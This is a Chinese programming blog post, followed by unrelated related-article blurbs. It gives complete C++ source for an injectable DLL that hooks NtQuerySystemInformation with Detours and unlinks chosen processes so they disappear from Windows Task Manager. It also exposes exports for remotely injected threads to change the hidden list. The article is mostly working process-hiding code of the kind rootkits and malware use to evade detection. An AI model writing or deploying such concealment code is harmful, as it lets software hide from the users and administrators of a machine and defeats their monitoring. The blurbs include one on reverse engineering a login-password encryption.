【Windows】在任务管理器中隐藏进程
在此前的一篇,我们已经介绍过了注入Dll 阻止任务管理器结束进程 -- Win 10/11。本篇利用 hook NtQuerySystemInformation 并进行断链的方法实现进程隐身,实测支持 taskmgr.exe 的任意多进程隐身。

代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <detours/detours.h>
#include <winternl.h>
#include <string>
#include <iostream>
#include <stdio.h>
#include <vector>
#include <shared_mutex>#pragma comment(lib, "detours.lib")
#pragma comment(lib, "user32.lib")typedef struct _VM_COUNTERS
{SIZE_T PeakVirtualSize;SIZE_T VirtualSize;ULONG PageFaultCount;SIZE_T PeakWorkingSetSize;SIZE_T WorkingSetSize;SIZE_T QuotaPeakPagedPoolUsage;SIZE_T QuotaPagedPoolUsage;SIZE_T QuotaPeakNonPagedPoolUsage;SIZE_T QuotaNonPagedPoolUsage;SIZE_T PagefileUsage;SIZE_T PeakPagefileUsage;
} VM_COUNTERS;// 线程信息结构体
typedef struct _MY_SYSTEM_THREAD_INFORMATION
{LARGE_INTEGER KernelTime;LARGE_INTEGER UserTime;LARGE_INTEGER CreateTime;ULONG WaitTime;PVOID StartAddress;CLIENT_ID ClientId;KPRIORITY Priority;KPRIORITY BasePriority;ULONG ContextSwitchCount;LONG State;// 状态,是THREAD_STATE枚举类型中的一个值LONG WaitReason;//等待原因, KWAIT_REASON中的一个值
} MY_SYSTEM_THREAD_INFORMATION, * PMY_SYSTEM_THREAD_INFORMATION;typedef struct _MY_UNICODE_STRING
{USHORT Length;USHORT MaximumLength;PWSTR Buffer;
} MY_UNICODE_STRING, * PMY_UNICODE_STRING;typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{ULONG NextEntryOffset; // 指向下一个结构体的指针ULONG ThreadCount; // 本进程的总线程数ULONG Reserved1[6]; // 保留LARGE_INTEGER CreateTime; // 进程的创建时间LARGE_INTEGER UserTime; // 在用户层的使用时间LARGE_INTEGER KernelTime; // 在内核层的使用时间MY_UNICODE_STRING ImageName; // 进程名KPRIORITY BasePriority; // ULONG ProcessId; // 进程IDULONG InheritedFromProcessId;ULONG HandleCount; // 进程的句柄总数ULONG Reserved2[2]; // 保留VM_COUNTERS VmCounters;IO_COUNTERS IoCounters;SYSTEM_THREAD_INFORMATION Threads[5]; // 子线程信息数组
}MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;// 定义一个指针函数类型
typedef NTSTATUS(WINAPI* __NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);// 定义一个存放原函数的指针
PVOID fpNtQuerySystemInformation = NULL;
// 读写锁
std::shared_mutex ppNameListMutex;
// 受保护进程名列表
std::vector<std::wstring> ppNameList;// 声明函数
extern "C" {__declspec(dllexport)void StartHookingFunction();__declspec(dllexport) void UnmappHookedFunction();__declspec(dllexport) bool SetProtectedProcessListFromBuffer(const wchar_t* buffer, size_t length);
}NTSTATUS WINAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
);void OpenDebugConsole()
{AllocConsole();FILE* fDummy;freopen_s(&fDummy, "CONOUT$", "w", stdout);freopen_s(&fDummy, "CONOUT$", "w", stderr);freopen_s(&fDummy, "CONIN$", "r", stdin);std::wcout << L"Debug console opened.\n";
}BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{// 禁用 DLL 模块的通知DisableThreadLibraryCalls(hModule);switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{OpenDebugConsole(); // 打开控制台进行调试std::wcout << L"DLL injected, setting up hooks.\n";// 设置受保护进程列表,此函数也可以从远程进程注入线程来调用const WCHAR ppName[] = L"cmd.exe;conhost.exe";if (SetProtectedProcessListFromBuffer(ppName, wcslen(ppName) + 1)){std::wcout << L"Protected process list set successfully.\n";}else{std::wcout << L"Failed to set protected process list.\n";}// 启用 HOOKStartHookingFunction();std::wcout << L"Hooking started.\n";}break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:UnmappHookedFunction();std::wcout << L"Hooking detached.\n";break;}return TRUE;
}extern "C"
__declspec(dllexport)
void StartHookingFunction()
{//开始事务DetourTransactionBegin();//更新线程信息 DetourUpdateThread(GetCurrentThread());fpNtQuerySystemInformation =DetourFindFunction("ntdll.dll","NtQuerySystemInformation");//将拦截的函数附加到原函数的地址上,这里可以拦截多个函数。DetourAttach(&(PVOID&)fpNtQuerySystemInformation,HookedNtQuerySystemInformation);//结束事务DetourTransactionCommit();
}extern "C"
__declspec(dllexport)
void UnmappHookedFunction()
{//开始事务DetourTransactionBegin();//更新线程信息 DetourUpdateThread(GetCurrentThread());//将拦截的函数从原函数的地址上解除,这里可以解除多个函数。DetourDetach(&(PVOID&)fpNtQuerySystemInformation,HookedNtQuerySystemInformation);//结束事务DetourTransactionCommit();
}// 从缓冲区解析多个进程名的函数
extern "C"
__declspec(dllexport)
bool SetProtectedProcessListFromBuffer(const wchar_t* buffer, size_t length) {if (buffer == nullptr || length == 0) {return false; // 返回错误状态}std::unique_lock lock(ppNameListMutex); // 写锁ppNameList.clear(); // 清空原列表std::wstring tempName;for (size_t i = 0; i < length; ++i) {if (buffer[i] == L';' || i == length - 1) {// 遇到分号或者到达缓冲区末尾,表示一个进程名结束if (i == length - 1 && buffer[i] != L';' && buffer[i] != L'\0') {tempName += buffer[i]; // 处理最后一个字符不是分号的情况}if (!tempName.empty()) {std::wcout << L"Parsed process name: " << tempName << L"\n"; // 输出调试信息std::wcout << L"Length: " << tempName.size() << L"\n";ppNameList.push_back(tempName); // 将进程名存入列表tempName.clear(); // 清空临时字符串以解析下一个进程名}}else {// 继续读取进程名字符tempName += buffer[i];}}std::wcout << L"Total protected processes: " << ppNameList.size() << L"\n"; // 输出调试信息return !ppNameList.empty(); // 返回成功标志,如果解析后列表为空则返回false
}// 检查进程是否在受保护列表中的函数(带读锁)
static bool IsProcessProtected(const std::wstring& processName) {std::vector<std::wstring> localPpNameList;{std::shared_lock lock(ppNameListMutex);localPpNameList = ppNameList; // 将受保护列表复制到局部变量}// 在局部变量中进行比较return std::find(localPpNameList.begin(), localPpNameList.end(), processName) != localPpNameList.end();
}static bool IsHandleValidate(const LPVOID lpAddress)
{MEMORY_BASIC_INFORMATION Buffer{};VirtualQuery(lpAddress, &Buffer, 0x30u);//std::wcout << L"HandleValidate Buffer.Protect: " << Buffer.Protect << L"\n";return Buffer.State == MEM_COMMIT && Buffer.Protect != PAGE_NOACCESS;
}static BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {DWORD processId;GetWindowThreadProcessId(hwnd, &processId);// 检查窗口是否属于当前进程if (processId == GetCurrentProcessId()) {// 检索指向窗口句柄向量的指针std::vector<HWND>* pWindowHandles = reinterpret_cast<std::vector<HWND>*>(lParam);// 检查指针是否有效if (pWindowHandles && IsHandleValidate(pWindowHandles)) {pWindowHandles->push_back(hwnd);}else {// (可选)记录错误或处理无效指针情况std::cerr << "Invalid pointer passed to EnumWindowsProc." << std::endl;}}return TRUE; // 继续枚举
}static void FlushProcessWindows() {std::vector<HWND> windowHandles;// 枚举所有顶级窗口,通过lParam将指针传递给EnumWindowsProcEnumWindows(EnumWindowsProc, reinterpret_cast<LPARAM>(&windowHandles));// 向每一个窗口发送 F5 来刷新窗口for (HWND hwnd : windowHandles) {// 模拟 F5PostMessage(hwnd, WM_KEYDOWN, VK_F5, 0);Sleep(10);PostMessage(hwnd, WM_KEYUP, VK_F5, 0);}
}// NtQuerySystemInformation的Hook函数,用于隐藏受保护的进程
NTSTATUS WINAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength
) {//std::wcout << L"NtQuerySystemInformation hook called.\n";static bool isNotFirstHook;const size_t nodeSize = sizeof(MY_SYSTEM_PROCESS_INFORMATION);// 先调用原始的 NtQuerySystemInformationNTSTATUS status = ((__NtQuerySystemInformation)fpNtQuerySystemInformation)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);//std::wcout << L"Original NtQuerySystemInformation returned: " << status << L"\n";// 只处理 SystemProcessInformation 类型的信息if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {//std::wcout << L"Processing SystemProcessInformation.\n";PMY_SYSTEM_PROCESS_INFORMATION pCurrentNode = (PMY_SYSTEM_PROCESS_INFORMATION)SystemInformation;PMY_SYSTEM_PROCESS_INFORMATION pPreviousNode = nullptr;bool isFirstNode = true;while (pCurrentNode != nullptr && IsHandleValidate(pCurrentNode)) {if (pCurrentNode->NextEntryOffset == 0) { // 到达末尾break;}if (pCurrentNode->ImageName.Buffer == nullptr || pCurrentNode->ImageName.Length == 0) {// 跳过无效的进程名//std::wcout << L"Skipping invalid process name.\n";pCurrentNode = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrentNode + pCurrentNode->NextEntryOffset);continue;}// 获取当前进程名std::wstring processName(pCurrentNode->ImageName.Buffer, pCurrentNode->ImageName.Length / sizeof(WCHAR));//std::wcout << L"Processing process: " << processName << L"\n";// 检查该进程名是否在受保护列表中if (IsProcessProtected(processName)) {std::wcout << L"Process is protected: " << processName << L"\n";// 如果在受保护列表中,则将该进程从链表中移除if (pPreviousNode) {pPreviousNode->NextEntryOffset += pCurrentNode->NextEntryOffset;std::wcout << L"Process removed from list: " << processName << L"\n";}else if (isFirstNode) { // 第一个节点是受保护进程,// 替换为下一个节点的数据if (pCurrentNode->NextEntryOffset == 0) {// 如果没有下一个节点,表示列表中只有一个受保护// 将进程信息列表清空memset(pCurrentNode, 0, SystemInformationLength);std::wcout << L"Only one protected process, clearing list.\n";break;}else {PMY_SYSTEM_PROCESS_INFORMATION pNextNode =(PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrentNode + pCurrentNode->NextEntryOffset);if(!IsHandleValidate(pNextNode)) {std::wcout << L"HandleValidate failed.\n";break;}// 将下一个节点的数据拷贝到当前节点memcpy(pCurrentNode, pNextNode, sizeof(MY_SYSTEM_PROCESS_INFORMATION));pCurrentNode->NextEntryOffset = pNextNode->NextEntryOffset;std::wcout << L"First process was protected, replaced with next process.\n";continue; // 保持 pPreviousNode 不变,重新检查当前节点}}}else {// 如果没有被保护,移动到下一个节点pPreviousNode = pCurrentNode;}// 如果下一个节点超出缓冲区范围,停止处理if (((PUCHAR)pCurrentNode + pCurrentNode->NextEntryOffset + nodeSize) >(PUCHAR)SystemInformation + SystemInformationLength) {std::wcout << L"Reached end of buffer.\n";break;}// 继续下一个进程信息节点pCurrentNode = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrentNode + pCurrentNode->NextEntryOffset);}}// 只在第一次调用 hook 函数后强制刷新窗口if (!isNotFirstHook) {isNotFirstHook = true;FlushProcessWindows();}return status;
}
可以删除 dllmain 里面的hook 函数以及所有输出字符串。从外部进程通过注入远程线程的方式来实现动态调整隐身策略。主要利用下面三个函数:

执行效果:

本文出处链接:[https://blog.csdn.net/qq_59075481/article/details/142676712]。
本文发布于:2024.10.02。
相关文章:

【Windows】在任务管理器中隐藏进程
在此前的一篇,我们已经介绍过了注入Dll 阻止任务管理器结束进程 -- Win 10/11。本篇利用 hook NtQuerySystemInformation 并进行断链的方法实现进程隐身,实测支持 taskmgr.exe 的任意多进程隐身。 任务管理器 代码: // dllmain.cpp : 定义 …...
【TypeScript学习】TypeScript基础学习总结二
主要记录ts中的类、接口与泛型 1.类 无论是在哪种语言中,类都是面向对象编程(OOP)的一个主要实现方式。能够实现代码更加灵活,更具有结构化。类作用都是提供一个模板,通过类可以创建多个具有相同结构的对象。 // 类的定义,与对象…...

中国电信解锁万亿参数大模型:TeleAI的创新与突破
首个由万卡集群训练出来的万亿参数大模型,已被一家央企解锁。 具体而言,为了推动纯国产人工智能的探索,带来这条新路径的正是中国电信人工智能研究院(TeleAI)。 该研究院由中国电信集团的CTO、首席科学家兼院长李学龙…...

戴尔PowerEdge R840服务器亮黄灯 不开机
最近接修到一台东莞用户的DELL PowerEdge R840 服务器因为意外断电后,无法正常开机的问题, 大概故障现象是 插上电源线 按卡机按钮无响应,无法开机,无显示输出,工程师到现场检修,经过idrac中日志分析&#…...

【前端安全】js逆向之微信公众号登录密码
❤️博客主页: iknow181 🔥系列专栏: 网络安全、 Python、JavaSE、JavaWeb、CCNP 🎉欢迎大家点赞👍收藏⭐评论✍ 随着发展,越来越多的登录页面添加了密码加密的措施,使得暴力破解变得不在简单&a…...

C# 泛型使用案例_C# 泛型使用整理
一、系统自带常用的泛型 1.字典,集合 //字典 Dictionary<string, int> dic new Dictionary<string, int>(); //泛型集合 List<int> list new List<int>(); 2.泛型委托,输入参数,输出参数 //泛型 委托---输出参…...

Docker 安装 Citus 单节点集群:全面指南与详细操作
Docker 安装 Citus 单节点集群:全面指南与详细操作 文章目录 Docker 安装 Citus 单节点集群:全面指南与详细操作一 服务器资源二 部署图三 安装部署1 创建网络2 运行脚本1)docker-compose.cituscd1.yml2)docker-compose.cituswk1.…...

Arthas redefine(加载外部的.class文件,redefine到JVM里 )
文章目录 二、命令列表2.2 class/classloader相关命令2.2.3 redefine(加载外部的.class文件,redefine到JVM里 )举例1:加载新的代码,jad/mc 命令使用举例2:上传 .class 文件到服务器的技巧 本人其他相关文章…...
C++教程(三):c++常用的配置文件类型
目录 1. INI 文件 2. JSON 文件 3. YAML 文件 4. XML 文件 5. TOML 文件 6. 二进制配置文件(Protocol Buffers, MessagePack, Avro 等) 总结 在 C 项目中,常用的配置文件类型有多种选择,具体选择取决于项目的复杂性、可读性…...
Arduino Uno控制雨滴传感器模块的设计方案
以下是Arduino Uno控制雨滴传感器模块的设计方案: 一、硬件准备: 1. Arduino Uno 开发板一块。 2. 雨滴传感器模块一个。 3. 杜邦线若干。 4. 9V直流电源一个。 二、硬件连接: 1. 将Arduino Uno板的Vin引脚、GND引脚分别连接到9V直流电…...
华为常见命令手册
常见命令 display ip interface brief —> 查看设备上的每个接口的IP地址【地址/掩码/状态】 display interface gi0/0/0 → 查看该接口的MAC 地址 ipconfig → 查看 PC 上面的 IP地址 display arp → 查看设备的 ARP 表 arp -a → 查看 PC 上面的 ARP 表 display m…...

TinyAP:使用TinyML对抗Wi-Fi攻击的智能接入点
论文标题: 英文:TinyAP: An intelligent Access Point to combat Wi-Fi attacks using TinyML中文:TinyAP:使用TinyML对抗Wi-Fi攻击的智能接入点 作者信息: Anand Agrawal 和 Rajib Ranjan Maiti,来自印…...

grafana频繁DataSourceError问题
背景 随着 Grafana 数据量的不断增加,逐渐暴露出以下问题: Grafana 页面加载缓慢;Grafana 告警频繁出现 DatasourceError 错误。 对于第一个问题,大家可以参考这篇文章:Grafana 加载缓慢的解决方案。 不过…...

python-ds:Python 中的数据结构库(适用于面试的数据结构和算法合集)
在软件开发中,数据结构是组织和存储数据的方式,对算法的效率和程序的性能至关重要。Python 提供了许多内置的数据结构,但在一些复杂的应用场景中,原生数据结构可能无法满足特定需求。这时,一个功能强大、易于使用的数据…...
AccessoriesqueryController
目录 1、 AccessoriesqueryController 1.1、 库存配件查询 1.2、 查询仓库 1.2.1、 //把数据库数据加到表格:跟默认然一行数据进行合并 1.3、 /// 查询 1.3.1、 配件编码查询 1.3.2、 配件名称查询 1.3.3、 配件类型查询 AccessoriesqueryControlle…...

M3u8视频由手机拷贝到电脑之后,通过potplayer播放报错找不到文件地址怎么解决?
该文章前面三节主要介绍M3u8视频是什么,视频播放错误(找不到地址)的解决方法在后面 M3U8是一种多媒体播放列表文件格式,主要用于流媒体播放。 一、文件格式特点 1. 文本文件:M3U8是一个采用 UTF-8 编码的文本文件,这意味着它可…...

【分布式微服务云原生】windows+docker+mysql5.7.44一主一从主从复制
目录 1. 主库设置2. 从库设置3. 验证主从复制内容汇总表格 摘要: 在Windows系统上通过Docker部署MySQL主从复制,以下是详细的步骤和命令,帮助你设置一主一从的MySQL复制环境。 1. 主库设置 步骤1:运行MySQL主库容器 docker run …...
鸿蒙NEXT开发-界面渲染(条件和循环)(基于最新api12稳定版)
注意:博主有个鸿蒙专栏,里面从上到下有关于鸿蒙next的教学文档,大家感兴趣可以学习下 如果大家觉得博主文章写的好的话,可以点下关注,博主会一直更新鸿蒙next相关知识 专栏地址: https://blog.csdn.net/qq_56760790/…...

TypeScript 设计模式之【状态模式】
文章目录 状态模式:优雅切换的交通信号灯状态模式的奥秘状态模式有什么利与弊?如何使用状态模式来优化你的系统代码实现案例状态模式的主要优点状态模式的主要缺点状态模式的适用场景总结 状态模式:优雅切换的交通信号灯 当你站在繁忙的十字路口&#…...
MongoDB 聚合管道
参考: 聚合管道 - MongoDB 手册 v7.0 介绍 聚合管道由一个或多个处理文档的阶段组成: 每个阶段对输入文档执行一个操作。例如,某个阶段可以过滤文档、对文档进行分组并计算值。 从一个阶段输出的文档将传递到下一阶段。 一个聚合管道可以返回针对文档…...

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)
说明: 想象一下,你正在用eNSP搭建一个虚拟的网络世界,里面有虚拟的路由器、交换机、电脑(PC)等等。这些设备都在你的电脑里面“运行”,它们之间可以互相通信,就像一个封闭的小王国。 但是&#…...

AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...

基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
五年级数学知识边界总结思考-下册
目录 一、背景二、过程1.观察物体小学五年级下册“观察物体”知识点详解:由来、作用与意义**一、知识点核心内容****二、知识点的由来:从生活实践到数学抽象****三、知识的作用:解决实际问题的工具****四、学习的意义:培养核心素养…...

Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
Java 加密常用的各种算法及其选择
在数字化时代,数据安全至关重要,Java 作为广泛应用的编程语言,提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景,有助于开发者在不同的业务需求中做出正确的选择。 一、对称加密算法…...
JDK 17 新特性
#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持,不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的ÿ…...
第7篇:中间件全链路监控与 SQL 性能分析实践
7.1 章节导读 在构建数据库中间件的过程中,可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中,必须做到: 🔍 追踪每一条 SQL 的生命周期(从入口到数据库执行)&#…...

nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
uniapp 实现腾讯云IM群文件上传下载功能
UniApp 集成腾讯云IM实现群文件上传下载功能全攻略 一、功能背景与技术选型 在团队协作场景中,群文件共享是核心需求之一。本文将介绍如何基于腾讯云IMCOS,在uniapp中实现: 群内文件上传/下载文件元数据管理下载进度追踪跨平台文件预览 二…...